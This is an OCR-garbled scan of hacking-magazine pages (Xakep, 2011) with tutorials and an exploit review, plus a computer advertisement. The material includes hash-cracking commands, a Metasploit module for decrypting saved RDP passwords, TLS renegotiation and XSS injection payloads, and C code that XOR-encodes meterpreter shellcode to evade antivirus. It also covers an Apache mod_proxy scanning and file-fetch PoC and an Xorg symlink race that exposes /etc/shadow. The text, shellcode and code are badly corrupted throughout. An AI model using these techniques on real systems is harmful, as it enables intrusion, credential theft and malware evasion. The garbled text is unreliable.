8 ЛoUJt~нwi! , ~ Архи вация и воССТi!НОвление (2)

u Лоал•нwi! 1

. {ED7BA47e-8E54-465E -82 5C -997 12e4ЗEelC}

~ Cm

~ Apxttt 11p.o111111t AIHH...X кoun,IOftj)l

ApniiiЦIUIMIOCC'IItiOIIIet!Ut

\tt 8о<ntноаnенме.М111111Ц ф1Кпо1 ми кownwotep• с nowoщ.10 lpJCМIH-I«<nмi!

ApдtiiЦio!JMIOCПIMOIJittiRe

~ 6ран.ацауэр Windows (2) БfМIINU)'Jp\'J~n~

В итоге в этой папочке мы получим что-то вроде панели управ­

&fi•"-"""Y'PW•nclows

ления, только в ней будет гораздо больше пунктов, и к тому же отсортированны х. Удобный ха к, х отя он и не совсем относится к теме

Все настройки в одном месте

EasyHack. :) ХАКЕР

051.

www.epidemz.net

12/155/ 2011


EASY

НАСК

ПОИСК ЗНАЧЕНИЯ ХЭША Зде сь : Всем известно, что хранить парали в открытом виде- порочная

• -h- искать хэш; • - f - искать по очереди • -g- искать в Google.

практика. Взломают систему, и- хоп!- все парали у плохи х парней. А с уч!!том того, что пользователи часто используют

хэ ш и из файла;

одинаковые или похожие па ссы на разных ресурсах, ситуация вы­

глядит особенно удручающей . Чтобы не допустить утечки паралей

Хотя список подд ержи ваемых хэш ей и так доста точно велик, к

в открытом виде, принято использовать всякие хэш-функции.

выходу номера он должен увеличиться еще больше.

Идея в том, что исходное значение хэ ш а можно получить из него

только перебором. А перебирать придется ой как много! Конечно, можно использовать радужные таблицы или обзавестись готовыми базами хэ ш-сумм . Однако в Сети и так полно сервисов, которые предлагают быстро пр обит ь хэш по своим базам. Но мы люди

XXI :1 Поэтом у Findmyhash

века! Ходить куда-то, суетиться- зто не в нашем стиле. предлагаю присмотреться к отличному Руthоn-скрипту

lcode.google.com/p/findmyhashl. По сути, с его помощью можно отправлять запросы сразу к нескольким онлайн-сервисам. Если значение хэ ш а «с ловарное >>, то оно будет очень быстро найдено .

Пара примеров:

python findmyhash_v1.1.2.py MDS -g \ -h a2Sb2?1eba9de114~9бadc7dfbea7235 python findmyhash_~1.1.2.py NTLM -f hacked_domain.txt_

Получение значений

РАСШИФРОВАТЬ ПАРОЛЬ ИЗ

MDS· и

NTLM-xзweй за пару секунд

RDP воспользоваться ч удо-комбай ном под назван ием

В последнее время, когда компьютеры пользователей обра­

Cain&Abel

[www.ox id .i tl.

стают всевозможными системами по обеспечению безопасно­

Про сто выбираем опцию

Remote De sk top

Passwo гd Decodeг

сти- антивирусами, фаейрвала ми, проактивками , утилитами

и подсовываем ей гdр-файл. Однако С& А слишком большой и

защиты памяти и песочницами ПО , - становится все труднее

неповоротливый для незамет ного запуска у жертвы .

эксплуатировать уязвимости, проникать в ОС и закрепляться в

К счастью, в

MSF

не так давно появился специальный

ней. С другой стороны, количество используемых технологий

скриптик как раз для нашего случая. Он ищет на жестком

и программных инструментов, в которых теоретиче ски могут

диске сохраненные файлы гdр и автоматически дешифрует их.

существовать уязвимости, возрастает . А захватив, как извест­

Что харак т ер но для

MSF,

от нас требуется минимум действий:

но, всего одну рабочую станцию, по принцип у д омино часто можно завладеть всей корпоративной лакал кой. Но вернемся к нашей задаче. Администраторы повсемест­ но используют

RDP-

стандартный для всех систем

1. 2.

Используем mеtегргеtег для захвата хоста.

Дал ее запускаем роst-модуль:

Windows

протокол удаленного управления компьютером . Изначально

RDP

имел ряд принципиальных уязви мастей, но большая

часть из них была устранена еще в 6-й версии протокола [то

есть начиная с Vista и Sегvег 20081.

~ Defoult.rdp

· Notepa.d

Стандартная утилита для подключения к удаленному рабочему столу предлагает удобную фи чу, которая позволяет хра нить настройки подключ е ния в гdр-файлах. Среди прочих параметров также сохраняются имя и параль учетки для под ­

ключения к уда ленному серверу. Чувствуешь, куда я клоню?

В папке «Мо и документы » имеется дефолтный файл настроек

Default.гdp, который мы легко можем расшифровать [правда, только в версия х до

RDP

61.

Конфиг представляет собой обыч­

ный текстовый файл с несколькими полями , в поле passwoгd

после <<5 1:Ь: >> идет зашифрованный пароль. Для того чтобы расшифровать его, нам потребуется функция

CгyptUnpгotectData[J из стандартной библиотеки cгypt32.dll . Что важно, расшифровывать параль придется прямо на ком­

пьютере жертвы [админские права при э том не нужны!. Украсть конфиг и расшифровать его уже у себя не получится, поскольк у

функция шифрования использует, помимо всего прочего,

SID

пользователя в ОС, точнее его хэш. Для решения задачи можно

ХАКЕР

Расшифровываем па роль из гdр-файла

055

12/155/201 1

www.epidemz.net


ВЗЛОМ 1EASY НАСК

ВНЕДРИТЬСЯ В SSLVЗ-СОЕДИНЕНИЕ

Сервер устанавливает защищенное соединение с жертвой.

Продолжаем м у ч и ть

HTTPS.

4) Сервер конкатенирует данные от атакующего , посылаемые на

Сего дня мы поговорим об атаке maп­

шаге

iп - t he-mi'dd l e на SSL-пр о токол, а т оч нее на его последние версии­

S S Lv3/Т LS. Нет-н ет, пр о

1.2, и данные от жертвы , упомянутые в пункте 3.

BEAST я рас с ка з ывать не б уду - эту тем у Ч тобы вникнуть в идею, п осмотрим на сервер и попытаемся

мы подр о бно рассмотрели в пр ошлом ном е ре .

понять, что ему « видно >> . Пользователь, подключающийсяк

Обща я с итуация та к ая: есть жертва , е с ть сервер, мы находим­

серверу, посылает кусок данных в само приложение [шаг

с могут быстренько обнаружить попытку изменения пере дав ае­

1.1 и 1.21. Но потом проис х одит сброс [гепеgоtiаtiопlзащищенного соеди н е ния [шаг 21 и е г о п овторная инициализация [ша г 31.

м ы х да нн ы х [х отя пропускать через себя шифрованный трафик

Далее сервер объединяет данные и передает на обработку в

п осле aгp-sp o of iп g у нас все же получится). Да и расшифровать их

приложение .

ся в одном с е гменте с жертвой и можем провести aгp-spoofiпg.

Есть только одна проблема- последние версии протоколов

SS L

Важный вопрос [его мне задал редактор при проверкестатьи

не представляет с я возможным . Что же делать? Обратимся к уяз­ в имостя м

SSL. В

:11- почему запросы от жертвы и атакующего объединяются? Здесь используется важная особеннос т ь протокола TLS- иден­ тификатор защищенного соединения [Sessioп \0) . Теоретически

к онце

2009 года в протоколе была обнаружена небольшая дыр к а- TLS/55Lv3 гeпegotiatioп vulп [CVE-2009-35551 . С о с т ороны у язвимость похожа как на недостаток самого про­

токола, т ак и на огрехи в реализации конкретного ПО [а точнее, библиотек) . Сейчас уяз в имость уже запатчили , однако около 10 % серверов все еще подвержены ей [статистика доступна на зтом

он сл у жит для оптимизации работы сервера, чтобы тот лучше «за­ поминал >> своих клиентов . Н апример , чтобы ему не приходилось проводить полный цикл установки защищенного соеди н ения при

сайте: www.ssllabs.com/ssldЬ/aпalyze.htmi l .

разрыв е соединения с клиентом на уровне ТСР. Этот идентифика­

Уя з в имо сть позв о ляет смешивать заш и фрованную и не з а­

тор передается в открытом виде при инициализации защищён­

небеза пасным с пособо м , чем може т в оспо л ь зоваться ат а кую щий .

ного с оединения . Именно его атакующий берет от жертвы [шаг 11 1.11. П оэтому, когда от жертвы при хо дит реальный запрос [шаг 3), он объединяется с запросом от

Смотрим на рис унок, разбира ем ша ги:

атакующего .

11

Атакующи й п е р ех ватывает и блокир ует TLS haпdshak e о т же ртвы [соедин е н ие 11 .

Переинициализия может, например , прои с ходить при смене ис­

1.1

Ат акующий устан авливает сое д ине н ие с се рвером п о ТL S ­

[с оедин е ние не рвет с я, но шифр о вание меняется) . За подробностя­

п р отоко л у [сое динение

м и отсылаю к мануалам [ www.g-sec.lu/pгacticaltls . pdf ).

ши ф р ован н у ю инф о р м ацию. Точ н ее, пр обле ма кроет с я в т ом, что

и подставляет в свой запрос [шаг

п ереини циализац и я с уществ у ющ его с оединения ос у щ ес твляется

Зачем вообще нужна функция переинициализии соединения?

1.2 Ата ку ющий

польз уе мого шифрования в зави с имости от директории на сервере

2) .

Теперь два важных момента. Во-первых, ба г кроется в самом

посылает зловр е дные да н ные уровня прил ожен ия по

протоколе SSLv3/TLS, а потому уязвим не только протокол HTTPS,

ус тановленномусоединен ию2.

2) Атакующий переиниц и ал и з и р у етсоединение [выпо лн яет

но и FТPS,

гeпegotiatioпl. З) Соединение 1, к от о р о еудерживал атакующий, посылается п о с оединению 2 [в ни х указан один и т о т же Sessioп \0, поэтом у

вимы в с е верхние протоколы. Почему потенциально ? Уязвимость

Server

Attacker

I J~--~~~~~~~: .~ ТLS е Handshake sesslon #1 (dienl <> server)

и т. д . Таким образом, потенциально уяз­

достаточно тр удно эксплуатировать. П о сути, мы можем в ста вить

к у сок плейн-текста в начало з апроса жертвы к серверу. Ответ

с е рв е р д у мает, что соединение 1 является частью со единен и я 21.

Client

SMTPS, РОР35

с ервера или данные , передаваемые от жертвы, мы прочитать не

( НТТРS )

1 1

1 1 1

-tttacker holds lthe packets

(i). . . . ._T_L_S(-~-t.l ;-~-S:-гa~-·-=-=~-s81on-r)-#2--t•

..:

-

5nig11Ch · DIIt-CO'I'I'I'Uiic:l

-- ~

OclldliNЪictyplllcl~

.

·;;;~;r·s:~;s·a;;~;;n·l;;.;-~l

ar- : CIIIrlt~

1 1

Q 1

1 Renegotiotion ls triggered

:

1

J

·······················- ~

ТLS Handshlllke sesson #1 contlnued (dl,nt-server) wlthln the encrypted sesslon #2 (attac•,er.server)

~

1

1

\7·······················-;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·...-.............~ 1 1 1

Cllent data ls encrypted wlthln sesslon ~1 (Green) (Тhе attacker cannot read/ manlpulate thls data), preVious data ~-2) preflxed to newty sent dient-data

1 1

Последовательность проведения а т аки на пользователя

~~

'-

commands of hls chofce

lt8CI · ........ .u..

1 1 1 1

~

M isceii<Jneous

Test d•te

Fri Oc:t 14 19:44:10 UTC 2011

Test duration

25.273 sec:onds

Serv@r signatur@

Apac::he-Coyote/1 .1

Server hostname

б9-10-229-172.onx. c:om

Session resumption

Yes

Renego6ation

lns@CUГ@ reмgOOation

Strict Transport Security

No

ТlS

v ersion tolerance

Ох0304:

PCI compliant

No

FIP S-ready

No

Ephemeral DH

512 bits

Ох301;

(р _

supported .Drl'sz;CI1RE'

Ох03 99 :

&4., g : 1, Ys: &4)

Ох301;

Ох0499:

foz il

WD.К

Сканирование на присутствие дырки

ХАКЕР

056

www.epidemz.net

12/15 5/ 20 11


EASY

можем . Но такие ограничения только подогревают интерес к тому,

Выполняем запрос

что же придумали умные головы. Итак, для протокола НТТР у нас

на НТТР

есть три возможных вида атаки:

1.

Вставка своего

URL . По

сути, мы можем сделать

CSRF,

однако

(шаг

к странице,

НАСК

где есть редирект

1.2):

GET /url_that_will_Зe2_to_HTTP Ignore-what-comes-now:

только для GЕТ-запросов. Более замысловатый вариант- headeг iпjectioп.

3. XSS.

Так как wеЬ-сервера полностью возвращают запрос при его

передаче методом

1) Если на uiaгe 1. 2 мы добавим GET /path/to/resource.jsp НТТР/1.е Ignor-me: 2) то вместе с данными, пришедшими

TRACE,

Атакующий на шаге от клиента,

приложение

на сервере будет обрабатывать следующий запрос:

TRACE / НТТР/1.е X:This coпtent will

можно внедрить JavaScгipt-кoд.

1.2 Ье

посылает:

refiected

iп

the

to the cl

respoпse

ieпt<html><script>alert('XSS')</script></html>

GET /path/to/resource.jsp HTTP/l.e Igпore-me: GET /index.jsp НТТР/1.е Cookie: sessionCookie=Token

X-igпore:

Можно придумать и более специфические методы. В пабли­ ке есть три РоС. Я лично намучился с версией для Pythoп, но

2. Redirect с HTTPS

на НТТР. Все мы помним метод и ту л зу sslstгip .

Она может снифать трафик при соединении с жертвой по НТТР­ протоколу и при соединении с сервером по

HTTPS.

Если пользо­

ватель не заметит, что значок защищенного соединения в брау­ зере отсутствует, то мы получим полный доступ к передаваемым

адекватных результатов так и не добился.

:1

Чтобы определить,

подвержен ли сервер этой уязвимости, можно воспользовать-

ся специальным веб-сервисом ( www . ss ll abs . com /ssldЬ/a п alyze .

htm l), тулзой ssltest, которая входит в комплект BackTгack 5, или ssltlstest под виндой.

данным. Так вот, с sslstгip есть трабл- на уже установленное за­ щищенное соединение она повлиять не может. Но с помощью

SSL

гeпegotiatioп мы можем перейтинанезащищенное соединение:

ПРАКТИЧЕСКИ 100 °/о-Й ОБХОД АНТИВИРУСОВ, ИЛИ

XOR METERPRETER

IJ.liaf.•ir.:i --iЪЛ"

Для пентестерских дел mеtегргеtег из

Metasploit (www.metasp loi t.

#msfpayload windows/meterpreter/bind_tcp R 1 msfencode \ -с 5 x8б/shikata_ga_nai -t с -о test_З.c

с от )- лучшая нагрузка . Наверное , ни для кого уже не новость, что исполняемый файл mеtегргеtег детектится всеми более­

Здесь:

менее известными антивирями. Даже если добавить всякие

windows/meterpreter/bind_tcp- нагр у зка из MSF; R -ключ для генерации нагрузки в бинарном виде;

msfeпcode- тулза для обфускации;

и з вращения, использовав какой-нибудь знкодер и прикрепив

его к обычному ехе-файлу (о чем мы писали в прошлом номере), то обойти пол у чится всего лишь пару-тройку самых слабеньких

антивир у сов. Но ни один антивирус не обнаруживает mеtегргеtег,

ствующим кодером;

который проинжектился в процесс в результате эксплуатирова­

-t

ния какой-нибудь уязвимости или непосредственно из ехе-файла .

-о test_З.c -итоговый файл.

5 x86/shikata_ga_nai-

обфусицируем

payload

соответ­

с- выходной формат: Си;

Однако здесь есть проблема. Многие методы обхода антивирей

подразумевают работу с исходниками. А их вроде нет ... На самом

Здесь мы дополнительно использовали

msfencode, хотя

он нам

деле есть , но они нам и не понадобятся. Вместо этого мы вос­

и не нужен, так как обходить антивирусы мы будем вручную. Одна­

пользуемся возможностями

ко если запускать просто

ms fpayload

MSF

и сгенерим с помощью тулзы

не традиционный ехе-файл нагрузки, а его вариант на

ных С вместо

R,

msfpayload

с параметром итоговых дан­

то он скинет в один файл оба

stage-

и загрузчик,

и саму боевую часть (mеtегргеtег- многоступенчатый шелл-код).

Си . Пишем в консоли:

Нам же требуется только загрузчик, позтому надо все сделать так, как я описал. Напомню также, что

. . (avastl СКАНИРОВАНИЕ -~

--

MSF

может создавать

payload

почти для любых языков, так что описанные здесь трюки можно

будет повторить и на них. В результате выполнения

msfpayload

мы

получим массив с шелл-кодом (пример на скриншотеl.

-~-----

Но зто все-таки только шелл-код, а не экзешник, который

,....

. '"

"D:\prj\av_test\test_3.exe" Сканирование завершено, УГРО3 НЕ ОБНАРУЖЕНО

0:00:00

Проверенные файлы 1 папки :

1/0

Объем проверенных данных:

15,1 КБ

ХАКЕР

зательную в Си функцию

main

и наш шелл-код из

MSF,

который

подгрузит и исполнит в качестве кода находящиеся в массиве

данные. Пишем следующий код сразу за буфером:

Время работы:

XOR rocks! Avast

можно запустить на машине жертвы . Не проблема! Добавим обя­

int {

maiп

(int argc, char **argv)

int ( *fuпc) (); (*)()) buf; ( iпt )( *func) ();

fuпc=( int

ничего не обнаружил

057

12/155/2 011

www.epidemz.net


ВЗЛОМ/ EASY НАСК

igned

сhаг

buf []

"\x72\xc9\xac\x95\x39\xlб\xll\x15\xЬ8\xe8\x38\x96\xe5\x05\x7d\xaa\xfc

"\xcd\xe3\x60\x74\x57\x4a\xaf\x2d\x94\xl3\x4b\xe3\xd4\x3a\x48\xc4\x7c "\x34\x46\x56\x7a\x82\x7c\x5f\x3b\x54\x8e\x40\xa4\x3e\x2e\xa0\x75\xfЗ "\x86\x78\x63\x4f\xf9\x91\xeб\xlf\x7f\xc8\x33\xld\xfd\x78\xeb\x2e\xa "\xdl\x42\x2f\xd0\x99\x69\x25\x22\x77\xбc\xaa\xЬ3\x65\xdc\x03\x7f\xa "\хОа\х83\хf2\х59\х2Ь\хае\х28\хса\хЗЗ\х86\хеЗ\х39\х7Ь\х49\хаЗ\хе2\хЗЗ "\xбa\x2a\xf3\x4a\x62\x40\xd7\xdf\xa0\x7f\x83\x19\x95\xdl\x9b\x8b\xao

"\x93\xc7\xc5\x32\x01\x59\xc2\x5d\xef\xld\x09\xбb\xac\x81\xc4\xlc\x9

"\x09\xce\x74\xdd\x87\x8c\xl0\x43\xa3\x95\x44\xa4\x75\x54\x0a\x4b\xda "\x38\xf5\xa9\x87\x37\x47\x42\x19\x05\x75\xde\x4a\xc8\xcЗ\x5~\x7e\xO

"\x49\x2c\x05\x61\xc3\xlf\xle\x30\x8b\xad\x51\x28\x2f\x59\x07\xf0\xf "\x2c\x92\x87\xaf\x9e\x73\x9f\x3b\xЬ5\xc2\xc3\x04\xcf\x40\x06\xf4\x9 "\x95\x2c\xla\xd0\xЬe\xЬ7\x50\xЗe\xf2\xf3\xlf\x4f\xf6\xcc" ;

(int arqc, char ••arqv) int i; (i=O;i<sizeof buf; i++)( buf[i] = buf[i] л Охсс ; J

fог

int (•func) (); func= (int (•) ()) buf; (int) (•func) ();

gg Compaer l liirl Resources 1d1h Compie Log 111}' Debug 1[9. Find Resuks1 Процесс создания эаксоренного meterpreter'a

Теперь мы можем откомпилировать исходник. Воспользовать­

ся можно почти любым компилятором IGCC, VCI. Но для скорости и простоты я бы посоветовал бесплатный

Dev-Cpp. Однако нам

мало просто скомпилировать этот сорец. Нам нужно еще дописать

1. 2.

Берем ранее созданный нами шелл-код с загрузчиком. Заменяем старый шелл-код на новый вариант, обработанный

XOR.

3. Добавляем в функцию maiп повторный XOR. 4. В итоге maiп принимаетследующий вид:

код для обхода антивируса или, к примеру, для выполнения под­

готовительных действий перед запуском mеtегргеtег !допустим, можно установить iсmр/udр-тоннель, если ТСР заблокирован, и

int main . ( int argc, char **argv)

{

уже через него пустить meteгpгeteгl. Чтобы наверняка обойти антивирус , можно взять банальный XOR кода. :1 Вот пример про­

int i; for (i=0;i< sizeof buf; i++){ buf[i] = buf[i] л ехсс ;

стого кода на Си для XOR шелл-кода:

int ( *func) (); func=(int (*)()) buf; ( int )( *func) ();

unsigned char buf[] = " .... shellcode_here ... " ; int main( int argcJ char **argv) { iQ:t;_ :i; for (i=0;i< sizeof _buf; i++){ buf[i] = buf[i] л ехсс ; _ printf( "\ \х%02х:· , buf[i]);

}

5.

Компилируем код.

Напомню, что, повторно выполняя операцию XOR для не которого

}

пара метра, мы получаем его исходное значение IA л В ' В= Al .

С кодом здесь все просто la разве в EasyHack бывает что-то труд­ ное? :11. Перебираем побайтово значения массива buf и выполняем

платном антивирусе

антвирями? Похоже , все точно так же. Такая ситуация возникает

над ними операцию XOR. Итог выводим в консоль. Компилируем,

из-за того, что антивирусы не могут нормально зму лировать

Я тестировал полученный зкзешник с нагрузкой на бес­

запускаем зкзешник и на выходе п олучаем шелл-код из

MSF, обра­

ботанный XOR. Теперь у нас появилась новая задача- вернуться к нормальному шелл-коду, чтобы запустить его, так как этот находит­

Avast- он даже не пикнул. Что с другими

подобные действия !манипуляции с XORI в своих эмуляторах при запуске приложения.

Напоследок хочу выразить благодарность человеку под ником

ся в не рабочем состоянии. Причем сделать зто необходимо как раз в

у0пd13 за описанный выше метод и Дмитрию Евдокимову

процессе выполнения будущей программки. Тут нет ничего трудного:

за общую помощь при подготовке раздела.

ХАКЕР

058

www.epidemz.net

aka D1g1

:1 12 / 155/ 2011


WEXLER.HOME 903

Много лет назад мы все заморачивались nокупкой комьютера по частям и самостоятельно

собирали его, nосмеиваясь над nроизводителями готовых сборок (и неnременно теми, кто их nокуnает). Мол, и железо они nодбирают не оnтимальное, и nродают втридорога. Романтика handycratt•a давно ушла, nришел простой расчет. Оказалось, что готовые сборки с установленной системой зачастую обходятся дешевле, чем собирать комnьютер самому. Легче nойти в магазин и куnить комnьютер с классной конфигурацией за хорошую цену. В случае с WEXLER.HOME 903 с 64-битной Windows®7 на борту ты nолучаешь nрактически тоnовую машину, которая идеально nодойдет для игр.

Блок питания Набор мощного железа не может обойтись без надежного пита­

ф wexLU.

ния. В

н омЕ

нужно, но зато обеспечивает хороший запас надежности .

WEXLER.HOME

электропитание осуществляется с помощью

надежного блока питания мощностью

750 В т. Это даже боль ш е , чем

Софт На всех компьютерах WEXLER.HOME 903 предустановлена операци­ онная система

Windows® 7 Домашняя расширенная. Исnользо в а н ие

именно 64-битн ой версии не случайно: благодаря этому удается задействовать все

4

Гб установленной в комnьютере nамяти. Помимо

ОС, доnолнительно уста новлен бесnлатный антивирус

Microsoft® Secu rity Essentials и Office 2010 Starter (включает в себя ограничен­ ный функционал Word® и Excel®, для активации nолн офункциональ­ ной версии необходимо nриобр ести ключ nродукта].

-~

Процессор

В ка че стве процессара используется мощный двухядерный процес­

сор lпtel®

Core™ i5-650 с частотой 3,2 ГГц и кэш-памятью 4 Мб. CPU

имеет встроенный контроллер памяти и поддерживает технологию

Turbo Boost, автоматически разгоняющую его под нагрузкой (напри­ мер, в п осл едних играх]. Более того, такие процессары поставляют­ ся еще и со встроенным контроллером памяти.

Видео За игровые возможности отвечают две видеокарты GeForce GTX 460, основанные на новейшей вычислительной архитектуре Благодаря высокой производительности в режиме

«Fer mi». DirectX 11 тес ­

селяции процессор

GTX 460 обеспечивает идеально четкую гра­ NVIDIA 30 CUDA™ позволяет визуализировать все самые

фику без ущерба для скорости, а поддержка технологий Visioп™ ,

PhysX®

и

потрясающие эффекты , на которые способны компьютерные игры. Просто выставляй настройки графики на максимум.

ОЗУ Компьютер WEXLER.HOME 903 укомплектован оперативной памятью 4 Гб, работающей в двухканальном режиме . Благодаря этому работа с каждым из двух установленных модулей памяти осуществляется

параллельно. Пускай техноло гия и не дает теоретического увел и че­ ния пропускной способности в два раза, но, тем не менее, вносит

<(

::;:

ощутимый результат.

<(

~

ш

а.

Мы рекомендуем подлинную ОС Windows® 7.

* ©

• •

wexLer:

ЗАО << БТК» - официальный дистрибутор техники WEXLER в России Единая служба nоддержки Wexler :

+7 (800]200-9660 www.wexler.ru

Владельцем товарного знака Microsoft® и логотипа Windows® 7, заре гистрир ова нны х на территории США и/или других стран, и владельцем авторских прав

на его дизайн является корпорация

Microsoft®.

www.epidemz.net


Павел Александрович livinside.Ьiogspot.comJ

ВЗЛОМ/ОБЗОРЭКСПЛОИТОВ

Дмитрий Михайлович 1115612, дер. Красная звездочка, д .1]

Обзор эксплоитов И снова приветствуем тебя, адепт метасплоита и дебага! В сегодняшнем обзоре мы, как обыч­ но, порадуем тебя препарированием четырех

эксплоитов, во всей красе демонстрирующих несовершенство ПО. Ассистент, скальпель!

1

Обходограничений в Apache mod_proxy

сервер на такой запрос будет возвращать ошибку

Комnания

CVSSV2

5.0

1

111111111 111 11 1111

IAV:N/AC:L/AU:N/C:P/I:N/A:N]

[]]I3]

SECFORCE разработала

400 Bad Request.

РоС для эксплуатации этой уязвимо­

сти. Он достуnен для скачивания на сайте компании: goo.gi/Ob6yV. С крипт эксплуатирует уязвимость в mod_pгoxy и nозволяет атакующе­ му получить доступ к заранее известным файлам, которые находятся

в демилитаризованной зоне

IDMZ] . Этот скрипт может также быть

использован для сканирования порт ов сервера, на котором уста новлен

Дата релиза:

11

октября

2011

Apache !через функционал прокси Apache, а стало быть, в обход любого

года.

Автор: Rodгigo Магсоs .

файервола]. Ниже представлены примеры исnользования скрипта с

CVE: CVE-2011-3368.

пояснениями, любезно переведенными мною на великий и могучий:

Как и другие аналогичные продукты !например, сер вер

Apache

Nginx и Squid], веб­

может работать в режиме обратного проксирования,

что обеспечивается специальным модулем mod_pгoxy. В этом режиме

python apache_scan.py [options] [options] -r: удаленный хает с Apache

запросы прозрачно перенаправляются к внутренним веб-серверам

-р: nорт, на котором висит Apache (по умолчанию 80) -u: URL для запроса (по умолчанию /) -d: хает в демилитаризованной зоне (DMZ) (по

!например, для балансировки нагрузки], а пользователь понятия не имеет, что на самом деле работает на бэкенде. Описываемая уязвимость, обусловленная неправильной работой модуля mod_pгoxy,

умолчанию 127.е .е .1)

позволяет извне посылать запросы к внутренним серверам.

1:ППiШ

DMZ

-е :

nорт в

-g: -h:

GET-зanpoc к хосту в страница

(активирует режим

DMZ

single port scan) /)

(по умолчанию

помощи

Если на сервере используются директивы RewгiteRule и

PгoxyPassMatch для конфигурирования реверс-прокси, то при помо­

При меры:

щи специально составленных запросов можно раскрыть внутренние

сервер ы, которые используются веб-проектом.

Apache

не выполняет

Сканирование портов

на удаленном хаете

должной валидации передаваемых данных. По кажем это на при мере.

python apache_scan.py -r www.example.com -u /img/test.gif

Предположим, что в конфиге веб-сервера используются следующие

Сканирование

директивы с похожими значениями:

python apache_scan.py -r www.example.com -u /img/test.gif -d internalhost.local

RewriteRule (. *)\. (jpg]gif] png) http:/ /images.exaщ:>le.can$1.$2 [Р] ProxyPassМatch (. *)\ . (jpg]gif]png) http:/ /images.exarrple.com$1.$2

Получение файла с хоста,

портов на

хаете,

расположенном в

расположенного в

DMZ

DMZ

python apache_scan.py -r www.example.com -u /img/test.gif \ -d internalhost.local -е se -g /accounts/index.html

Это с большой вероятностью приводит к тому, что внутренние сервера становятся доступными. Злоумышленник может сделать запрос вида:

GET @other.example.com/something.png

if.!;ldjfi Apache Apache Apache

НТТР/1.1

НТТР Sегvег 1.3.х вплоть до НТТР Serveг 2.0 . х вплоть до

НТТР Serveг 2.2.х вплоть до

1.3.42; 2.0.64; 2.2.21.

Веб-сервер, в свою очередь, транслирует его в следующую ссылку:

JOi,J!iiji•ЦI

http://images.example,com@other.example.com/something.png

Всем пользователям модуля mod_pгoxy рекомендуется проверить свои конфиги на в хождение бажных строк или накатить официаль­

Таким образом, прокси подключится к хосту otheг.example.com, так как

ный патч

воспримет часть адреса

директиву RewгiteRule можно исправить следующим образом:

images.example.comra

как имя пользователя.

l goo.g l/xNiqR ]. Кстати говоря , вышеприведенную бажную

Строка URI в этом запросе lraotheг.example.com/something.png НТТР/1 .1 1 не соответствует спецификациям НТТР, nоэтому в дальнейших релиза х

RewriteRule /(. *)\. (jpg]gif]png) http:/ /images.exarrple.com/$1.$2

ХАКЕР

060

www.epidemz.net

[Р]

12 /155/ 2011


ОБЗОР ЭКСПЛОИТОВ

2

Произвольное изменение доступа к файпам через Xorg

CVSSV2

1.

Запускаем Х-сервер [PID примем за

2.

Останавливаем его, посылая сигнал

дания /tmp/.tX1-Iock. Получится, что следующей инструкцией для выполнения и будетвызов chmod[l.

5.7

1111 11111 111 1111 1111

111

3.

[AV: L/AC:L/AU : 5/С:С/1: Р/ A:PI

Запускаем ещё один процесс с сервером Х для разлинковки

/tmp/.tX1-Iock.

4. 5.

Дата релиза: 28 октября 2011 года . Автор: vladz . CVE: CVE-2011-4029.

nl. SIGSTOP сразу же после соз­

Создаем символическую ссылку /tmp/.tX1-Iock -> /etc/shadow. Возобновляем первый процесс с помощью

SIGCONT, chmod[l

вы­

ставит права 444 на файл /etc/shadow. Небольшой косяк состоит в том, что, когда запускается ещё один

В октябре господин

vladz

обнаружил уязвимость в Хогg, которая затраги­

Х-сервер, это неминуемо влечет за собой переключение на вирту­

вает специальный временный файл /tmp/.tXп-lock [п- номер дисплея в Xl. При ус пешной эксплуатации атакующий получает возможность вы­

альный терминал, а в некоторых случаях и небольшее подвисание

ставить права на чтение любого файла в системе. Для работы эксплоита

ческую ссылку на несуществующий файл: /tmp/.X1-Iock -> /dontexist. Тогда при запуске первый Х-сервер просто вывалится с FataiEггoг[l.

нужно, чтобы атакующий мог запускать Х-сервер на целевой системе.

экрана. Решить эту проблему можно так- заранее создать символи­

Эксплоит под это дело доступен на

exploit-db.com , его 10- 18040.

1IШШ

Пример его использования я приведу ниже :

полняются следующие действия : сначала создается [открывается!

КОМI]!'IЛИруем .

временный файл /tmp/.tXп -lock с флагом O_EXCL для записи текуще­ го PID, файл линкуется с /tmp/.Xп-lock, а затем разлинковывается. В итоге на файл остается одна ссылка /tmp/.Xn -lock. Код, выполняю­

И~nоль:;sуем.

В процессе запуска Хогg создает файл /tmp/.Xп -lock . При этом высе

xcomoq_. с

. /xchqюg

_xch_mpd

[ / путь} до/файJ1а]

( па .. дефолту - .l'e.t _cjshadow)

щий эти операции, показан на рисунке.

Заметим, что системный вызов chmod[l работает с файловыми имена­ ми, по этому нет никакой гарантии, что имя /tmp/.tXn-lock ссылается на тот же самый файл на диске, что и при вызове ореп!l. Идея здесь в том, чтобы подменить файл /tmp/.tXn-lock на нашу символическую ссылку между вызовами open[l [строка 2961 и chmodll [строка 3181. Как может сначала по казаться, для обычного пользователя э та опе­ рация невозможна, но ... Что если мы запустим два процесса Хогg с

н ебо льшим интервалом времени [несколько миллисекундl, так чтобы первый процесс разлинковал [строка

341 1 временный файл до того,

как второй процесс сделает вызов chmod[l? Здесь мы можем просто не успеть поставить свою символическую ссылку:

i . ls

-1 _1etc/ sha_dow _ -rw-r----- 1 roat sh_adow 187.2 Aug 7 e_7:1e_jetc/shadow $ .Lxchmod [ +] Trying to stop а )(Qrg p_roc_e_ss right before chmod () [+] Process ID 4134 stopped (SIGSTOP sent) [ + ] __ Rei119V_ing / tqщ/. tx1-lock Ьу launching another Xc:Jrg process [+] Creating evil syщlink (/tmp/ .tX1-lock -> /etc /s hadow) [ +] Process ID 4134 resumed (SIGCONT _sent)_ [ +] Attack succeedec!, ls -1 /etcjshadow: __ -r--r-cr-- 1 root shad()w 1е72 Aug 7 H7:1e.. /.etcist)adoi>!

lt·1;11Jf1

# strace

Х :1 [ .. . ] open("/tmp/.tXl-lock", O_WRONLY[O_CREAT[O_EXCL, еб44) wr:i..t.e(e, " 2192\n", 11 ) ц chmod("/tmp/.tX1-lock", е444) =е

Все конфигурации Хогg е

Хогg

1.3

SIGCONT,

SIGSTOP

USE_CHMOD.

'i•J!Iiji•ЦI В версиях Хогg

Немного подумав, вспомним про специальные сигналы

1.4 до 1.11.2.

и более ранние в случае сборки с опцией

1.11.2

и

1.12 эта

уязвимость устранена.

и

которые можно посылать приложению. Эти си гналы позво­

ляют контролировать поток исполнения программы, остана вливая и

возобновляя его в нужные моме нты . Итак, вот что нужно сделать :

З

Целочисленное перепопнение в функции

Array.reduceRight ве6-6раузера Mozilla Firefox CVSSV2

10.0

11111 1111 1111 1111 11

